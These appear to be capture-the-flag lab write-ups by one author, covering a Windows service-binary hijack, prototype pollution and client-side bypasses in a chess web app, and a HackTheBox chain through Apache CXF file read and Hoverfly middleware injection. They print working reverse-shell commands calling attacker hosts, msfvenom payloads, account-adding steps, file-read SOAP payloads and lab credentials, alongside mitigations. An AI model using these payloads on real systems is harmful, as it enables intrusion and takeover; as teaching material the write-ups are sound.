PowerUp independently confirms the exact same thing: BUILTIN\Users can modify the service's binary, the service runs as LocalSystem, and it can be restarted without needing a reboot.

Method A - manual reverse shell as SYSTEM

Generated a Windows reverse shell payload with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe -o rev.exe

Pulled it onto the target and swapped it in for the legitimate service binary:

Invoke-WebRequest -Uri http://attacker-ip/rev.exe -OutFile rev.exe
Stop-Service zerotieroneservice -Force
Copy-Item "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe" "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe.bak"
Copy-Item "C:\Program Files (x86)\Zero Tier\Zero Tier One\rev.exe" "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe" -Force
Restart-Service zerotieroneservice

With a nc listener running on the attacker box:

nc -lvnp 4444

listening on [any] 4444 ...
connect to [attacker-ip] from (UNKNOWN) [machine-ip] 50818
Microsoft Windows [Version 10.0.17763.1817]

C:\Windows\system32>whoami
nt authority\system

Service Control Manager started "ZeroTier One.exe" exactly as configured - except it's now the reverse shell payload, and because the service is configured to run as LocalSystem, the shell comes back as nt authority\system straight away.

cd C:\Users\Administrator\Desktop
type root.txt

[REDACTED]

Method B - the PowerUp way (adds a local admin instead)

The same weak ACL can also be abused with PowerUp's own helper, which doesn't need a payload to be generated or uploaded at all - it patches the binary in place to run a net user /add + group-add command instead:

Install-ServiceBinary -Name zerotieroneservice

ServiceName        Path                                                            Command
-----------         ----                                                            -------
zerotieroneservice  C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe  net user john Password123! /add & ...

Restart-Service zerotieroneservice

The restart itself reported a failure (Failed to start service) - but the embedded commands still executed once before the service process died, which was enough:

net localgroup Administrators

Administrators
Administrator
Domain Admins
ENTERPRISE\Enterprise Admins
john

john is now a local Administrator. Logging in as that new account over WinRM (which bitbucket never had access to) confirms full admin rights:

evil-winrm -i machine-ip -u john -p 'Password123!'
whoami /all

Output (trimmed)

lab-enterprise\john
BUILTIN\Administrators   Alias   S-1-5-32-544   Mandatory group, Enabled by default, Enabled group, Group owner

cd C:\Users\Administrator\Desktop
type root.txt

[REDACTED]

Same flag as the SYSTEM-shell method, confirming both routes land on full compromise of the domain controller.

Key vulnerabilities

Secrets in git history. A commit that "removed" hardcoded AD credentials from a script only blanked the values in a new commit - the credentials remained fully recoverable in the prior commit, which is still part of the repo's history and pushed to a public GitHub org.
OSINT trail from a fake login page to a real GitHub org. A cloned Atlassian login page with a company-specific banner ("we're moving to GitHub") leaked the existence and rough naming convention of a real, public source-control org, which in turn led to a real employee's public repos.
Weak service-account password. The bitbucket service account (Kerberoastable via its HTTP/LAB-DC SPN) had a short, guessable password that cracked against rockyou in under a second.
Password reused in an AD description field. The Contractor group's description attribute contained a default password in plaintext, readable by any authenticated (or even null-session) user with LDAP read access.
Writable service binary / install directory running as SYSTEM. The zerotieroneservice service ran as LocalSystem but its install directory granted BUILTIN\Users write access, letting any authenticated user - domain or local - replace the service binary and have it executed as SYSTEM on next start.

Attack chain

Full port scan (missed by the default top-1000 scan) reveals a Bitbucket-styled login page on port 7990 that is actually a static clone of Atlassian's real login page with a custom "we're moving to GitHub" banner.
Google dorking for the company name against site:github.com finds a real public GitHub org, whose About-Us repo and people listing lead to an employee account (Nik-enterprise-dev).
That employee's mgmtScript.ps1 repo has a git history entry that "blanks out" hardcoded AD credentials in a new commit - the original commit with nik:ToastyBoi! in plaintext is still fully recoverable.
nik's credentials authenticate over SMB/LDAP (no WinRM) and are used to enumerate the domain, including finding a Kerberoastable bitbucket service account via its SPN.
Kerberoasting bitbucket and cracking the resulting TGS ticket with rockyou recovers bitbucket:littleredbucket.
bitbucket is a member of Remote Desktop Users, granting an interactive RDP session and the user flag.
Manual enumeration of Program Files (x86) on the DC finds a leftover ZeroTier install whose service (zerotieroneservice, running as LocalSystem) has an install directory writable by BUILTIN\Users.
Replacing the service binary (either with a custom reverse-shell payload, or via PowerUp's Install-ServiceBinary helper that adds a local admin) and restarting the service executes attacker-controlled code as SYSTEM, yielding full compromise of the domain controller and the root flag.

Mitigations

Never commit credentials to source control, even temporarily. If they ever were, rotate them immediately and treat the repository's entire history as compromised - rewriting history or deleting the file in a later commit is not sufficient, since old commits (and any forks or clones already made) still contain the secret.
Avoid publishing internal tooling, scripts, or "reminder" banners that reveal internal migration plans, tooling names, or organizational structure to anyone who can reach an internet-facing login page.
Enforce strong, unique passwords for all service accounts, and treat Kerberoastable accounts (anything with an SPN) as especially high-value, since any authenticated domain user can request and offline-crack their tickets without touching the account directly. Consider gMSA accounts, which use long random passwords automatically rotated by AD.
Never store passwords or password hints in AD attributes such as description, info, or similar - these are readable by any user with basic LDAP read access, including unauthenticated/null sessions in many default configurations.
Audit local group memberships (especially Remote Desktop Users and Administrators) regularly, and apply least privilege - a service account like bitbucket likely doesn't need interactive desktop access at all.
Regularly audit file and folder ACLs on anything referenced by a service binPath, especially services that run as LocalSystem. BUILTIN\Users (or any low-privileged group) should never have write access to a SYSTEM-run service's binary or its containing directory. Remove unused/leftover third-party software (like this ZeroTier install) entirely rather than leaving it installed and forgotten.
Quote all service binary paths containing spaces, and validate service configurations after any software installation or removal.

TryHackMe : Fool's Mate Revenge

Yogeshwar Peela — Fri, 24 Jul 2026 09:11:44 +0000

Summary

This is the sequel to the original Endgame Trainer box. The developer clearly read that writeup - the client-side "don't let the player actually win" gate is gone entirely, and the win condition is now enforced server-side through a session.config.unlocked flag that has to be true before /api/move will hand back the flag on checkmate. Playing the winning move directly against the API (the trick that worked last time) now just returns a taunting "no reward for you" message.

The new attack surface is a /api/settings endpoint added for board theme/piece-set/animation preferences. It merges whatever JSON object the client sends into the session's settings without filtering dangerous key names. Sending __proto__.unlocked didn't get through, but pivoting to the constructor.prototype.unlocked gadget did - it polluted the global Object.prototype with unlocked: true. Since the reward-gate check just reads session.config.unlocked and JavaScript objects fall back to their prototype chain for properties they don't own, the polluted prototype satisfied the check for every object in the app, including the session's config. From there, resetting the board and replaying the exact same mate-in-one move returned the real flag.

Box IP referred to below as machine-ip, running on port 3000 this time.

Recon

Nmap

nmap -A -Pn machine-ip -o nmap

Nmap output

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-22 06:31 -0400
Nmap scan report for machine-ip
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:21:f3:54:41:4d:9a:5b:40:2d:fd:07:24:7c:0f:38 (ECDSA)
|_  256 00:86:2a:c8:7d:41:c2:3b:09:33:cf:d2:9f:eb:40:59 (ED25519)
3000/tcp open  http    Node.js Express framework
|_http-title: "Endgame Trainer"

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3306/tcp)
HOP RTT      ADDRESS
1   56.44 ms 192.168.128.1
2   ...
3   56.88 ms machine-ip

Nmap done: 1 IP address (1 host up) scanned in 31.90 seconds

Same shape as before: SSH on 22, and the "Endgame Trainer" Express app, just moved to port 3000 this time.

Looking at the page

curl http://machine-ip:3000/

The page is the same mate-in-one chessboard as the original box, but there's a new Preferences card in the sidebar - board theme, piece set, and move animation speed, saved with a "Save preferences" button. That panel didn't exist last time, and it's the first thing worth paying attention to since it's new surface area.

Pulling down the client code

curl http://machine-ip:3000/js/app.js -o app.js
cat app.js

Key excerpt from app.js

import { Chess } from '../vendor/chess.js';

const START_FEN = '6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1';
...
function doMove(from, to) {
  if (!isLegalTarget(from, to)) return false;
  const promotion = needsPromotion(from, to) ? 'q' : undefined;
  sendMove(from, to, promotion);
  return true;
}

async function sendMove(from, to, promotion) {
  locked = true;
  let res, data;
  try {
    res = await fetch('/api/move', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ from, to, promotion: promotion || undefined })
    });
    data = await res.json();
  } catch (e) {
    locked = false;
    renderFull();
    return;
  }
  ...
}

function finalize(data) {
  refreshHighlights();
  updateStatus();
  if (data.flag) {
    showFlag(data.flag);
  } else if (data.locked) {
    showSystemNotice(data.message || 'Checkmate! Reward is locked for this account.');
  }
}

The important difference from the first box: preMoveCheck() is gone completely. There's no more client-side probe blocking the winning move - doMove() just calls sendMove() unconditionally. That confirms the checkmate gate moved server-side this time, and finalize() shows the server can respond with either a flag or a locked state with a message.

Preferences excerpt from app.js

function applyPrefs(p) {
  if (!p) return;
  if (p.theme) {
    document.body.dataset.theme = p.theme;
    themeSelect.value = p.theme;
  }
  if (p.pieceSet) {
    document.body.dataset.pieceSet = p.pieceSet;
    pieceSetSelect.value = p.pieceSet;
  }
  if (typeof p.animationMs !== 'undefined') {
    document.documentElement.style.setProperty('--anim', Number(p.animationMs) + 'ms');
    animSelect.value = String(p.animationMs);
  }
}

async function savePrefs() {
  const prefs = {
    theme: themeSelect.value,
    pieceSet: pieceSetSelect.value,
    animationMs: Number(animSelect.value)
  };
  applyPrefs(prefs);
  try {
    const res = await fetch('/api/settings', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(prefs)
    });
    const data = await res.json();
    if (data &amp;&amp; data.preferences) applyPrefs(data.preferences);
  } catch (e) {}
  toast('Preferences saved');
}

async function loadState() {
  try {
    const res = await fetch('/api/state');
    const data = await res.json();
    if (data &amp;&amp; data.fen) game.load(data.fen);
  } catch (e) {}
  renderFull();
  updateStatus();
}

So there are four endpoints in play: /api/state, /api/move, /api/reset, and the new /api/settings. A couple of quick greps confirmed that's the full API surface:

grep -R api .

Output

./app.js:    res = await fetch('/api/move', {
./app.js:    const res = await fetch('/api/reset', { method: 'POST' });
./app.js:    const res = await fetch('/api/settings', {
./app.js:    const res = await fetch('/api/state');

Poking at the endpoints directly

A couple of sanity checks on /api/move before touching the session state:

curl http://machine-ip:3000/api/move

Output



<title>Error</title>
<pre>Cannot GET /api/move</pre>

curl -X POST http://machine-ip:3000/api/move

Output

{"ok":false,"error":"from and to are required"}

POST-only endpoint, as expected, with basic input validation. I also poked around for a leftover game.js (some builds split the chess logic differently), but nothing there:

curl http://machine-ip:3000/game.js/
curl http://machine-ip:3000/js/game.js/
curl http://machine-ip:3000/js/game.js

Output (all three, all 404)



<title>Error</title>
<pre>Cannot GET /js/game.js</pre>

Dead end - nothing extra to find there, so back to the actual API.

Exploitation

Confirming the checkmate gate is server-side now

Grabbed a session cookie and checked the board state:

curl -c cookies.txt http://machine-ip:3000/api/state

Output

{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}

Same starting position as before - rook on a1, king boxed in on g8. Played the same winning move that worked on the original box:

curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"a8"}'

Output

{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}

That reason field is doing us a big favor here - it names the exact server-side condition guarding the flag: session.config.unlocked. Just calling the API directly, which was the whole trick last time, no longer works; the server now independently checks a flag on the session before releasing the reward.

Tried an obviously illegal move too, just to confirm normal move validation is still intact server-side:

curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"h8"}'

Output

{"ok":false,"error":"illegal move","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1"}

Good - the move engine itself is solid. The only path in is getting session.config.unlocked to be truthy some other way. That points straight at /api/settings, the one endpoint that takes an arbitrary-ish JSON object from the client and merges it into session-side state.

Trying to set `unlocked` directly

curl -b cookies.txt -X POST http://machine-ip:3000/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"theme":"forest","pieceSet":"classic","animationMs":180,"unlocked":true}'

Output

{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}

The response only ever echoes back the three known preference fields, so a plain unlocked key in the body is either ignored outright or stored somewhere that isn't session.config. Either way it's not reflected, so time to see whether the merge itself can be abused instead of just its whitelist.

First prototype pollution attempt - `proto`

curl -b cookies.txt -X POST http://machine-ip:3000/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"theme":"forest","__proto__":{"unlocked":true}}'

Output

{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}

Reset the board and re-tried the mate to check if that pollution stuck:

curl -b cookies.txt -X POST http://machine-ip:3000/api/reset
curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"a8"}'

Output

{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}
{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","locked":true,"message":"Checkmate! No reward for you.","reason":"reward gate closed: session.config.unlocked is not set"}

Still locked. __proto__ as a literal JSON key is a well-known prototype pollution vector, but it's also well-known enough that a lot of merge utilities (or JSON.parse + certain frameworks) special-case and strip it. That's most likely what happened here - the key was filtered out before the merge ever saw it.

Second attempt - `constructor.prototype`

__proto__ isn't the only way to reach an object's prototype. constructor.prototype points at the same place and is filtered far less often, since it looks like an ordinary nested object to naive sanitization:

curl -b cookies.txt -X POST http://machine-ip:3000/api/settings \
  -H 'Content-Type: application/json' \
  -d '{"theme":"forest","constructor":{"prototype":{"unlocked":true}}}'

Output

{"ok":true,"preferences":{"theme":"forest","pieceSet":"classic","animationMs":180}}

Same generic-looking response as always - the endpoint never confirms pollution either way. Reset and replayed the mate one more time to check:

curl -b cookies.txt -X POST http://machine-ip:3000/api/reset
curl -b cookies.txt -X POST http://machine-ip:3000/api/move \
  -H 'Content-Type: application/json' \
  -d '{"from":"a1","to":"a8"}'

Output

{"ok":true,"fen":"6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1","status":"ongoing","turn":"w"}
{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","flag":"[REDACTED]"}

That's it - no more locked, no more taunting message, just the flag straight in the response. The constructor.prototype.unlocked payload polluted the global Object.prototype with unlocked: true. From that point on, any object in the app - including the session's config object - that doesn't have its own unlocked property falls back through the prototype chain and finds the polluted one, so session.config.unlocked reads as true everywhere, satisfying the reward gate on the very next checkmate.

Key vulnerabilities

Prototype pollution via unsanitized object merge in /api/settings. The settings endpoint merges the client-supplied JSON body into session-side state (likely via something like Object.assign, a recursive merge helper, or a naive deep-merge library) without rejecting dangerous key paths. It filtered the well-known __proto__ key but missed the equivalent constructor.prototype gadget, allowing arbitrary properties to be written onto the global Object.prototype.
Security decision (unlocked) implemented as a prototype-chain-readable flag. Because the reward gate is just session.config.unlocked with no check for whether that property is the object's own property (e.g. no Object.hasOwn / hasOwnProperty check), polluting Object.prototype was enough to flip the flag for every session on the app, not just the attacker's own state.

Attack chain

Nmap finds the same Endgame Trainer Express app, now on port 3000.
The client-side "block the winning move" logic from the original box has been removed - checking /js/app.js confirms doMove() submits any legal move unconditionally.
Replaying the previous exploit (POST /api/move with the mate-in-one directly) now succeeds as a legal chess move but is refused by a new server-side reward gate: session.config.unlocked is not set.
The newly-added /api/settings endpoint merges client-supplied JSON into session state. A __proto__-based pollution attempt is filtered, but pivoting to the constructor.prototype.unlocked gadget gets through undetected.
That pollutes the global Object.prototype with unlocked: true, which the reward-gate check inherits through the prototype chain.
Resetting the board and replaying the exact same mate-in-one move (a1 to a8) now passes the gate and returns the flag.

Mitigations

Sanitize all dangerous key names before any recursive merge or Object.assign-style operation on user-controlled input - at minimum block __proto__, constructor, and prototype at every level of the object, not just the top level or the most obvious name.
Prefer safe merge utilities that use Object.create(null) for intermediate objects, or that explicitly copy only an allow-listed set of keys, instead of hand-rolled recursive merges.
Never gate a security-relevant decision on a property that can be satisfied via the prototype chain. Use Object.hasOwn(session.config, 'unlocked') (or equivalent) so an inherited/polluted property can't silently satisfy the check.
Consider freezing sensitive objects/prototypes (Object.freeze(Object.prototype)) at app startup as defense-in-depth against this exact class of bug.
As with the original box, keep the actual reward/flag issuance logic entirely server-side and independent of anything the client can influence beyond the legitimate move itself.

TryHackMe : FoolMate Writeup

Yogeshwar Peela — Wed, 22 Jul 2026 10:30:44 +0000

Summary

Endgame Trainer is a small web app that presents a "mate-in-one" chess puzzle. The board is legit (built on the chess.js library), but the app has a gimmick: if you actually play the winning move, a fake system dialog pops up threatening to "shut down your PC" instead of letting you win. That block, however, only exists in the front-end JavaScript. The move itself is validated and executed by a backend API endpoint (/api/move) that has no idea the UI is supposed to be stopping you. Sending the winning move (a1a8, delivering checkmate) straight to the API with curl skips the client-side gate entirely and the server hands back the flag in its JSON response. Along the way, a relative-path request also pulled the raw chess.js source out from a directory that wasn't meant to be reachable, confirming exactly how the client-side move validation worked and that it could be bypassed server-side.

Box IP referred to below as machine-ip.

Recon

Nmap

nmap -A -Pn machine-ip -o nmap

Nmap output

Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-21 11:56 -0400
Nmap scan report for machine-ip
Host is up (0.038s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a8:1e:0e:a0:5f:74:77:25:d5:0f:11:98:56:9e:b0:ed (ECDSA)
|_  256 dd:84:d1:e8:ee:c2:69:30:cb:0c:1a:43:58:d4:45:d1 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: "Endgame Trainer"
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   37.15 ms 192.168.128.1
2   ...
3   38.04 ms machine-ip

Nmap done: 1 IP address (1 host up) scanned in 24.49 seconds

Two open ports: SSH (22, not the focus here) and an Express-based HTTP service on port 80 titled "Endgame Trainer."

Checking out the web app

curl http://machine-ip/

Page source






  <title>Endgame Trainer</title>







        <span>♜</span>
        <span>Endgame<span>Trainer</span></span>

      Mate-in-one · White to move










            <span id="turnDot"></span>
            <span id="statusText">White to move</span>



        ...







        <span id="winTitle">/usr/lib32</span>
        <span><span>×</span></span>


        I'll shut down your PC if you play that.


        OK

The page is a chessboard UI starting from a mate-in-one position (6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1, i.e. White rook on a1, Black king boxed in on g8). It's framed as a joke: try to deliver the actual mate and a fake "system" dialog threatens to shut down your PC instead of showing a win. That's the hint that the "you can't play that" logic is happening somewhere it shouldn't be trusted - the client.

Reading the client logic

curl http://machine-ip/js/app.js

Key excerpt from app.js

import { Chess } from '../vendor/chess.js';

const START_FEN = '6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1';
...
function preMoveCheck(from, to, promotion) {
  const probe = new Chess(game.fen());
  let result;
  try {
    result = probe.move({ from, to, promotion: promotion || undefined });
  } catch (e) {
    result = null;
  }
  if (result &amp;&amp; probe.isCheckmate()) {
    showSystemNotice("I'll shut down your PC if you play that.");
    return false;
  }
  return true;
}

function doMove(from, to) {
  if (!isLegalTarget(from, to)) return false;
  const promotion = needsPromotion(from, to) ? 'q' : undefined;
  if (!preMoveCheck(from, to, promotion)) {
    setElPos(els[from], from, true);
    return true;
  }
  toast(SMUG[Math.floor(Math.random() * SMUG.length)]);
  sendMove(from, to, promotion);
  return true;
}

async function sendMove(from, to, promotion) {
  locked = true;
  let data;
  try {
    const res = await fetch('/api/move', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ from, to, promotion: promotion || undefined })
    });
    data = await res.json();
  } catch (e) { ... }
  ...
}

This is the whole game right here. preMoveCheck() runs a local, throwaway copy of the chess engine (probe) against the move the user is trying to make. If that probe results in checkmate, the front end just refuses to call sendMove() and shows the fake "shut down your PC" popup instead. It never touches the server. The actual move submission happens over fetch('/api/move', ...), a plain POST with from/to/promotion in JSON - nothing here that couldn't be replayed directly with curl.

Confirming the library and a stray path traversal

curl http://machine-ip/../vendor/chess.js

Excerpt from chess.js

/**
 * @license
 * Copyright (c) 2025, Jeff Hlywa (jhlywa@gmail.com)
 * ...
 */
export const WHITE = 'w';
export const BLACK = 'b';
...
export class Chess {
  ...
  isCheckmate() {
    return this.isCheck() &amp;&amp; this._moves().length === 0;
  }
  ...
}

Requesting /../vendor/chess.js against the static file server successfully returned the full, unminified chess.js source from outside the intended web root - a relative-path traversal in how static assets are served. It didn't hand over anything sensitive on its own (just the open-source chess library also used in the front end), but it confirmed the exact validation logic being run client-side and that the static handler wasn't strictly confining requests to its public directory.

I tried pushing the traversal further to grab actual system files:

curl http://machine-ip/../../etc/passwd
curl http://machine-ip/../../../../../etc/passwd

Output (both attempts)





<title>Error</title>


<pre>Cannot GET /etc/passwd</pre>

Both attempts to reach /etc/passwd were rejected - the traversal that reached vendor/ was likely a one-off consequence of the static root's structure rather than a fully open path traversal, and it didn't extend to arbitrary filesystem reads.

Exploitation - bypassing the client-side checkmate gate

Since preMoveCheck() is purely cosmetic and /api/move is a plain unauthenticated JSON endpoint, the fix was to just talk to the API directly and skip the browser (and its popup) entirely.

Grabbed a session cookie first, since the app tracks board state server-side per session:

curl -s -c cookies.txt http://machine-ip/ -o /dev/null

Then played the actual mate-in-one - rook from a1 to a8, delivering checkmate on the boxed-in king on g8:

curl -s -b cookies.txt -X POST http://machine-ip/api/move \
  -H "Content-Type: application/json" \
  -d '{"from":"a1","to":"a8"}'

Response

{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","flag":"[REDACTED]"}

The server validated the move independently (using the same chess.js library server-side), recognized checkmate, and returned the flag directly in the JSON response - no browser, no popup, no client-side gate involved at all.

Key vulnerabilities

Client-side-only enforcement of a security/game-logic boundary. The one thing the app was supposed to prevent - actually playing the winning move - was checked exclusively in front-end JavaScript (preMoveCheck). The backend /api/move endpoint accepted and executed the exact same move without re-checking whether it was "allowed" to be played, so the restriction was trivial to bypass by talking to the API directly.
Minor path traversal in static file serving. A request for /../vendor/chess.js escaped the intended public directory and returned source code that wasn't meant to be directly reachable. This didn't extend to full filesystem reads in testing, but it's still an information-disclosure weakness in how static assets are routed.

Attack chain

Nmap identifies an Express/Node web app on port 80 alongside SSH.
The web page presents a mate-in-one chess puzzle with a gimmick blocking the winning move via a fake pop-up.
Reading /js/app.js reveals the block is done with a client-side probe (preMoveCheck) and that real moves are sent to /api/move over a simple JSON POST.
A relative path request (/../vendor/chess.js) confirms the chess engine in use and that the static file handler doesn't fully confine paths to its root.
Grabbing a session cookie and POSTing the winning move (a1 to a8) directly to /api/move bypasses the client-side gate entirely; the server validates it as checkmate and returns the flag.

Mitigations

Enforce all game/business logic rules server-side. Client-side checks should only be used for UX (instant feedback), never as the actual security or logic boundary - the server must independently re-validate every move (or any privileged action) regardless of what the UI attempted to prevent.
Treat any client-supplied move/action as untrusted input; the server-side chess.js instance should be the sole source of truth for whether a move is legal, and any application-specific restriction (like "don't allow the win") needs to live in that same trusted layer.
Lock down static file serving so relative paths (../) can't escape the configured public directory; use a static file middleware configuration that resolves and validates paths against an allow-listed root rather than relying on default traversal protections.
Avoid shipping unnecessary source/library files in a location reachable by directory traversal in the first place - keep vendor/build directories outside of anything the web server can serve.

HackTheBox: DevArea — Full Walkthrough

Yogeshwar Peela — Sun, 19 Jul 2026 15:52:55 +0000

A complete walkthrough of HackTheBox DevArea — chaining an Apache CXF SSRF vulnerability, Hoverfly middleware injection, Flask session forgery, command injection, and a double symlink privilege escalation to achieve full root compromise.

Difficulty: Hard | OS: Linux | Platform: Hack The Box

Attack Path: Anonymous FTP → JAR Analysis → CVE-2022-46364 (Apache CXF SSRF) → Hoverfly Credentials → CVE-2025-54123 (Hoverfly RCE) → Shell as dev_ryan → Secret Key Leak → Session Forgery → Command Injection → Double Symlink → Root

1. Reconnaissance

nmap -sC -sV -A <MACHINE-IP>

Key Findings:

Port 21: vsftpd (Anonymous login enabled)
Port 22: SSH
Port 80: Apache HTTP
Port 8080: Java/Jetty (SOAP service — Apache CXF)
Port 8500/8888: Hoverfly proxy

echo "<MACHINE-IP> devarea.htb" | sudo tee -a /etc/hosts

2. Anonymous FTP — Downloading the JAR

Port 21 has anonymous FTP login enabled:

ftp devarea.htb
# Username: anonymous
# Password: (blank)

ftp> cd pub
ftp> ls
# employee-service.jar
ftp> get employee-service.jar
ftp> bye

3. JAR Analysis — Discovering the SOAP Endpoint

Decompile the JAR using jadx-gui:

jadx-gui employee-service.jar

Navigate to htb.devarea → ServerStarter. The decompiled code reveals:

JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
factory.setServiceClass(EmployeeService.class);
factory.setServiceBean(new EmployeeServiceImpl());
factory.setAddress("http://0.0.0.0:8080/employeeservice");
factory.create();
System.out.println("Employee Service running at http://localhost:8080/employeeservice");
System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");

This reveals:

The service runs on port 8080
It uses Apache CXF (org.apache.cxf.jaxws)
WSDL available at /employeeservice?wsdl

Fetch the WSDL to enumerate endpoints:

curl http://devarea.htb:8080/employeeservice?wsdl

The service exposes one operation — submitReport — accepting:

employeeName (string)
department (string)
content (string)
confidential (boolean)

4. CVE-2022-46364 — Apache CXF MTOM SSRF

From the JAR import org.apache.cxf.jaxws.JaxWsServerFactoryBean we confirmed the service runs on Apache CXF — vulnerable to CVE-2022-46364.

The import at the top of ServerStarter.java was:

import org.apache.cxf.jaxws.JaxWsServerFactoryBean;

That org.apache.cxf package name directly tells us it's Apache CXF.

What is MTOM?

MTOM (Message Transmission Optimization Mechanism) is a W3C standard for embedding binary data in SOAP messages. It uses XOP:Include elements with an href attribute pointing to the data source:

<!-- Normal use -->
<employeeName>
  <xop:Include href="cid:attachment@example.com"/>
</employeeName>

The Vulnerability

Apache CXF < 3.5.5 / < 3.4.10 performs no validation on the href attribute. An attacker can point it to arbitrary local files:

<!-- Malicious -->
<employeeName>
  <xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
               href="file:///etc/passwd"/>
</employeeName>

The server fetches the file and returns its contents Base64-encoded in the SOAP response. No authentication required.

Manual Exploit

curl -X POST http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; boundary="b"' \
  --data $'--b\r\nContent-Type: application/xop+xml\r\n\r\n \
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <d:submitReport xmlns:d="http://devarea.htb/">
      <arg0>
        <employeeName><x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></employeeName>
      </arg0>
    </d:submitReport>
  </s:Body>
</s:Envelope> \r\n--b--\r\n'

Reading the Hoverfly Service File

Since nmap revealed Hoverfly on port 8888, we try reading its systemd service file — service files are world-readable and often contain credentials. Common service file names to try:

/etc/systemd/system/hoverfly.service
/etc/systemd/system/syswatch.service
/etc/systemd/system/gunicorn.service

Extracting Hoverfly Credentials

Sending the SSRF request targeting hoverfly.service:

curl -X POST http://devarea.htb:8080/employeeservice \
  -H 'Content-Type: multipart/related; boundary="b"' \
  --data $'--b\r\nContent-Type: application/xop+xml\r\n\r\n \
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <d:submitReport xmlns:d="http://devarea.htb/">
      <arg0>
        <employeeName><x:Include xmlns:x="http://www.w3.org/2004/08/xop/include" href="file:////etc/systemd/system/hoverfly.service"/></employeeName>
      </arg0>
    </d:submitReport>
  </s:Body>
</s:Envelope> \r\n--b--\r\n'

hoverfly.service turned out to be a valid endpoint. The SOAP response returned the service file contents Base64-encoded. Decoding it:

echo "<BASE64_HERE>" | base64 -d

The service file had credentials embedded directly in the configuration — plaintext login details for the Hoverfly dashboard.

5. CVE-2025-54123 — Hoverfly Middleware RCE

Navigate to http://devarea.htb with the extracted credentials. The dashboard reveals Hoverfly v1.11.3 — vulnerable to CVE-2025-54123, an authenticated RCE via the middleware API.

Getting the Authorization Token

Open browser DevTools → Network tab → log in and look for API requests containing an Authorization: Bearer <token> header. Copy the token.

Exploiting the Middleware API

Hoverfly allows configuring a middleware script that processes proxied requests. The middleware API accepts an arbitrary binary and script with no sanitization.

Start a listener:

nc -lnvp 4444

Inject a reverse shell:

curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"binary":"bash","script":"bash -i >& /dev/tcp/<YOUR-IP>/4444 0>&1"}'

Trigger the middleware by sending a request through the Hoverfly proxy:

curl "http://devarea.htb:8500" --proxy "http://devarea.htb:8888"

Shell received as dev_ryan.

cat /home/dev_ryan/user.txt

User flag captured!

6. Privilege Escalation

6.1 Enumerating the Environment

cat /etc/syswatch.env

SYSWATCH_SECRET_KEY=f3ac48a6006a13a37ab8da0ab0f2a3200d8b3640431efe440788beaefa236725
SYSWATCH_LOG_DIR=/opt/syswatch/logs
SYSWATCH_DB_PATH=/opt/syswatch/syswatch_gui/syswatch.db

A Flask web GUI runs on 127.0.0.1:7777. Check sudo permissions while enumerating:

sudo -l
